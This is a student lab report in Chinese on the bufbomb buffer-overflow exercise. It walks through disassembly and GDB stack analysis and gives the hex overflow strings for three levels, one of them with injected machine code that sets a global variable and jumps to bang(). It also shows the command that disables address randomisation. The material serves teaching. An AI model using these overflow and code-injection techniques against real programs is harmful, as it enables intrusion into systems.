深 圳 大 学 实 验 报 告

课 程 名 称：计算机系统(2)

实验项目名称：缓冲区溢出攻击实验

学　　院：计算机与软件学院

专　　业：计算机科学与技术

指 导 教 师：刘刚

报告人：林宪亮　学号：2022150130　班级：国际班

实 验 时 间：2024 年 5 月 17 日~5 月 29 日

实验报告提交时间：2024 年 5 月 29 日

教务处制

一、 实验目标：

1. 理解程序函数调用中参数传递机制；
2. 掌握缓冲区溢出攻击方法；
3. 进一步熟练掌握 GDB 调试工具和 objdump 反汇编工具。

二、实验环境：

1. 计算机（Intel CPU）
2. Linux 64 位操作系统
3. GDB 调试工具
4. objdump 反汇编工具

三、实验内容

本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客（同学）提供一个二进制可执行文件 bufbomb 和部分函数的 C 代码，不提供每个关卡的源代码。程序运行中有 3 个关卡，每个关卡需要用户输入正确的缓冲区内容，否则无法通过管卡！

要求同学查看各关卡的要求，运用 **GDB 调试工具和 objdump 反汇编工具**，通过分析汇编代码和相应的栈帧结构，通过缓冲区溢出办法在执行了 getbuf()函数返回时作攻击，使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数，第二关不仅返回到指定函数还需要为该指定函数准备好参数，最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。

实验代码 bufbomb 和相关工具（sendstring/makecookie）的更详细内容请参考“实验四 缓冲区溢出攻击实验.pptx”。

本实验要求解决关卡 1、2、3，给出实验思路，通过截图把实验过程和结果写在实验报告上。

四、实验步骤和结果

下载 sendmail:

```
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# apt install sendmail
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
将会同时安装下列软件：
  liblockfile-bin liblockfile1 libsigsegv2 lockfile-progs m4 procmail
  sendmail-base sendmail-bin sendmail-cf sensible-mda
建议安装：
  m4-doc sendmail-doc rmail logcheck resolvconf sasl2-bin
下列【新】软件包将被安装：
  liblockfile-bin liblockfile1 libsigsegv2 lockfile-progs m4 procmail sendmail
  sendmail-base sendmail-bin sendmail-cf sensible-mda
升级了 0 个软件包，新安装了 11 个软件包，要卸载 0 个软件包，有 48 个软件包未被升级。
需要下载 1,148 kB 的归档。
```

图 1 下载 sendmail

第一关：

（1）查看<getbuf>对应的汇编代码：

```
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# objdump -d bufbomb|grep -A15 "<getbuf>"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi
```

图 2 getbuf 的汇编代码

对于 objdump -d bufbomb |grep -A15 "<getbuf>"的解释：
objdump -d bufbomb:
objdump 是一个用于显示可执行文件、目标文件和库文件的详细信息的命令。
-d 选项表示反汇编可执行文件，显示它的汇编代码。
bufbomb 是目标可执行文件的名称。
|: 管道符 (|) 将前一个命令的输出传递给下一个命令作为输入。
grep -A15 "<getbuf>":
grep 是一个搜索工具，用于在输入中查找匹配的行。
-A15 选项表示除了匹配的行之外，还要显示其后的 15 行。
"<getbuf>" 是要匹配的字符串，这里表示 getbuf 函数的标签。

（2）对<getbuf>汇编代码分析
8048ad0: 55 push %ebp ：将当前的基址指针 %ebp 压入栈中。
8048ad1: 89 e5 mov %esp,%ebp ：将栈顶指针 %esp 的值赋给 %ebp。
8048ad3: 83 ec 28 sub $0x28,%esp：将 %esp 减去 0x28（40 十进制）。

8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax ：将 %ebp 减去 0x18（24 十进制）的地址加载到 %eax 中。
8048ad9: 89 04 24 mov %eax,(%esp) ：将寄存器 %eax 的值存入栈顶位置 %esp 所指的内存位置。作用：准备函数 Gets 的参数，将局部变量的地址传递给 Gets。
8048adc: e8 df fe ff ff call 80489c0 <Gets> ：调用位于地址 0x80489c0 的函数 Gets。
8048ae1: c9 leave ：恢复栈帧，等同于： mov %ebp, %esp pop %ebp
8048ae2: b8 01 00 00 00 mov $0x1,%eax ：将立即数 1 赋值给寄存器 %eax。
8048ae7: c3 ret ：从函数返回。
8048ae8: 90 nop ：空操作指令。
8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ：将 0x0(%esi,%eiz,1) 的地址加载到寄存器 %esi 中。这里 %eiz 是一个特殊的寄存器，它通常在 x86 汇编中用于标识无效索引，导致其值总是 0。

通过对上述汇编代码的分析，可以画出以下栈结构图：

Getbuf 返回地址
压入的 ebp 值
输入字符的首地址

根据上面的结构图，并且我们知道 GET 函数从%ebp 减去 0x18 的位置开始读入数据，再考虑压栈的 ebp 值占据的 4 个字节，也就是说我们需要先 24+4+4 个字节才可以改变 Getbuf 的返回地址，前面的 28 个字节可以随意输入，后面的 4 个字节则要改成 smoke 函数的地址。

（3）查看 smoke 的地址：

```
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# objdump -t bufbomb|grep -e smoke
08048eb0 g     F .text  0000002a              smoke
```

图 3　查看 smoke 地址

如图可知 smoke 的地址为 08048eb0。

所以我们可以输入 00000000000000000000000000000000000000000000000000000000b08e0408 完成攻击，注意要把地址逆序输入。

（4）验证答案：

```
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# cat > 0.txt
000000000000000000000000000000000000000000000000b08e0408
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# cat 0.txt
000000000000000000000000000000000000000000000000b08e0408
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# cat 0.txt|./sendstring |./bufbomb -t lxl
Team: lxl
Cookie: 0x1942a739
Type string:Smoke!: You called smoke()
```

图 4 验证答案

使用 cat > 0.txt 新建文件并写入我们的答案。然后使用 cat 0.txt|./sendstring | ./bufbomb -t lxl 输入到 bufbomb 中。如图，我攻击成功。

第二关：

因为要修改返回地址使程序返回到<fizz>函数，所以先查看<fizz>函数的地址以及对应的汇编代码：

```
lxl@lxl-virtual-machine:~/下载/buflab-handout$ objdump -d bufbomb|grep -A15 "<fi
zz>"
08048e60 <fizz>:
 8048e60:       55                      push   %ebp
 8048e61:       89 e5                   mov    %esp,%ebp
 8048e63:       83 ec 08                sub    $0x8,%esp
 8048e66:       8b 45 08                mov    0x8(%ebp),%eax
 8048e69:       3b 05 d4 a1 04 08       cmp    0x804a1d4,%eax
 8048e6f:       74 1f                   je     8048e90 <fizz+0x30>
 8048e71:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e75:       c7 04 24 8c 98 04 08    movl   $0x804988c,(%esp)
 8048e7c:       e8 27 f9 ff ff          call   80487a8 <printf@plt>
 8048e81:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048e88:       e8 5b f9 ff ff          call   80487e8 <exit@plt>
 8048e8d:       8d 76 00                lea    0x0(%esi),%esi
 8048e90:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e94:       c7 04 24 d9 95 04 08    movl   $0x80495d9,(%esp)
 8048e9b:       e8 08 f9 ff ff          call   80487a8 <printf@plt>
```

图 5 fizz 汇编代码

Mov 0x8（%ebp）， %eax

从这条语句可以分析出传入 fizz 参数所存放的位置。从而可以画出以下栈的结构图：

Getbuf 返回地址
压入的 ebp 值
输入字符串的首地址

我们需要通过输入对它进行修改成下面的结构图：

传入的参数
Fizz 的地址
输入字符串首地址

其中输入的首地址是%ebp 减去 0x18，也就是 24 个字节，加上压栈占用的 4 个字节，之后就需要把 getbuf 的返回地址改成 fizz 的地址，然后再往上修改八个字节为传入的参数。

也就是说前面的 28 个字节为任意输入，然后加上四个字节的 fizz 地址，再任意输入 4 个字节，最后输入四个字节的参数。

Fizz 的地址为 08048e60，我的 Cookie 为 0x1942a739。

所以输入可以是：

00112233445566778899001122334455667788990011223344556677608e04080011223339a74219

验证答案：

```
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# cat > 1.txt
00112233445566778899001122334455667788990011223344556677608e04080011223339a74219
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# cat 1.txt
00112233445566778899001122334455667788990011223344556677608e04080011223339a74219
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# cat 1.txt|./sendstring|./bufbomb -t lxl
Team: lxl
Cookie: 0x1942a739
Type string:Fizz!: You called fizz(0x1942a739)
```

图 6 验证答案

如图，我们通过了第二关。

第三关：

先查看 band 函数的地址以及汇编代码：

```
root@lxl-virtual-machine:/home/lxl/下载/buflab-handout# objdump -d bufbomb|grep
-A15 "<bang>"
08048e10 <bang>:
 8048e10:       55                      push   %ebp
 8048e11:       89 e5                   mov    %esp,%ebp
 8048e13:       83 ec 08                sub    $0x8,%esp
 8048e16:       a1 c4 a1 04 08          mov    0x804a1c4,%eax
 8048e1b:       3b 05 d4 a1 04 08       cmp    0x804a1d4,%eax
 8048e21:       74 1d                   je     8048e40 <bang+0x30>
 8048e23:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e27:       c7 04 24 bb 95 04 08    movl   $0x80495bb,(%esp)
 8048e2e:       e8 75 f9 ff ff          call   80487a8 <printf@plt>
 8048e33:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048e3a:       e8 a9 f9 ff ff          call   80487e8 <exit@plt>
 8048e3f:       90                      nop
 8048e40:       89 44 24 04             mov    %eax,0x4(%esp)
 8048e44:       c7 04 24 64 98 04 08    movl   $0x8049864,(%esp)
 8048e4b:       e8 58 f9 ff ff          call   80487a8 <printf@plt>
```

图 7 bang 汇编代码

通过 debug 很容易得出，0x804a1c4 就是存放我们全局变量的位置，而 0x804a1d4 存放的是 cookie 值。

由于需要修改全局变量的值，所以我们需要插入代码：

```
mov （0x804a1d）,%rsi

movl %rsi,（0x804a1c4） //全局变量修改为我的 cookie 值

movl $0x8048e10,%rsi //插入 bang 的地址。

jmp *rsi
```

为了得到十六进制代码，我们要先新建 3.s 文件将上面的指令输入

```
1 mov (0x804a1d4), %rsi
2 mov %rsi,(0x804a1c4)
3 mov $0x8048e10, %rsi
4 jmp *%rsi
```

图 8 3.s 文件

然后编译，最后再进行反汇编得到十六进制指令，如下图：

```
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 8b 34 25 d4 a1 04    mov    0x804a1d4,%rsi
   7:   08
   8:   48 89 34 25 c4 a1 04    mov    %rsi,0x804a1c4
   f:   08
  10:   48 c7 c6 10 8e 04 08    mov    $0x8048e10,%rsi
  17:   ff e6                   jmp    *%rsi
```

图 9 得到十六进制指令

以下是新的栈结构图：

修改后的返回地址
旧的 ebp 值
插入的代码
输入字符串首地址

我需要将要插入的代码从输入字符串首地址开始写入，然后把修改后的返回地址改成我的输入字符串的首地址，这也才能保证我插入的代码会被执行，

所以我需要查看输入字符串的首地址。

```
(gdb) b getbuf
Breakpoint 1 at 0x8048ad6
(gdb) run -t lxl
Starting program: /home/lxl/下载/buflab-handout/bufbomb -t lxl
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Team: lxl
Cookie: 0x1942a739

Breakpoint 1, 0x08048ad6 in getbuf ()
(gdb) p $ebp
$1 = (void *) 0xffffb948
```

图 10 得到首地址

通过 debug 不难得出输入字符串的首地址是 0xffffb948-0x18=0xffffb930.

所以本关的答案是：

488b3425d4a1040848893425c4a1040848c7c6108e0408ffe6 112233 30b9ffff

测试结果：

```
lxl@lxl-virtual-machine:~/下载/buflab-handout$ cat result3.txt|./sendstring|./bu
fbomb -t lxl
Team: lxl
Cookie: 0x1942a739
Type string:Bang!: You set global_value to 0x1942a739


NICE JOB!
Sent validation information to grading server
```

图 11 测试结果

如图，我成功通过了此关。

值得注意的是，如果觉得思路没错但是一直不通关可能需要修改一些配置：

```
root@lxl-virtual-machine:~# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

图 12 修改配置

五、实验总结

在本次实验中，我成功完成了缓冲区溢出攻击的三关任务。实验通过对给定二进制可执行文件 bufbomb 和部分 C 代码的分析，利用 GDB 调试工具和 objdump 反汇编工具，分析汇编代码和相应的栈帧结构，成功地通过了每一关的缓冲区溢出攻击。

- **第一关**：通过查看 getbuf 函数的汇编代码，分析其栈帧结构，确定了需要输入的字节数和地址。成功利用缓冲区溢出技术使程序返回到 smoke 函数，并验证了答案。
- **第二关**：分析 fizz 函数的汇编代码，确定了参数的传递位置。通过修改返回地址和准备相应的参数，成功返回到 fizz 函数并验证答案。
- **第三关**：需要执行一段自定义的汇编代码，修改全局变量并返回到 bang 函数。通过编写并反汇编插入的汇编代码，修改了全局变量并成功通过了最后一关。

- 通过此次实验，我对缓冲区溢出攻击有了深入的理解，特别是通过 GDB 和 objdump 工具对二进制文件的分析，了解了程序的栈帧结构及函数调用过程。
- 本次实验增强了我对 GDB 调试工具和 objdump 反汇编工具的使用能力，能够更好地分析和理解汇编代码。
- 实验展示了缓冲区溢出攻击的威力，提醒我们在编程过程中要注意输入检查和内存管理，以防止此类安全漏洞。

通过本次缓冲区溢出攻击实验，我不仅掌握了相关的攻击技术，还提高了使用调试和反汇编工具的能力，对程序安全有了更深刻的认识。此次实验不仅是对课堂知识的巩固，也是对实际操作技能的提升，为今后的学习和工作打下了坚实的基础。

指导教师批阅意见： **成绩评定：** 指导教师签字： 刘刚 2024 年 5 月 日
备注：

注：1、报告内的项目或内容设置，可根据实际情况加以调整和补充。
2、教师批改学生实验报告时间应在学生提交实验报告时间后 10 日内。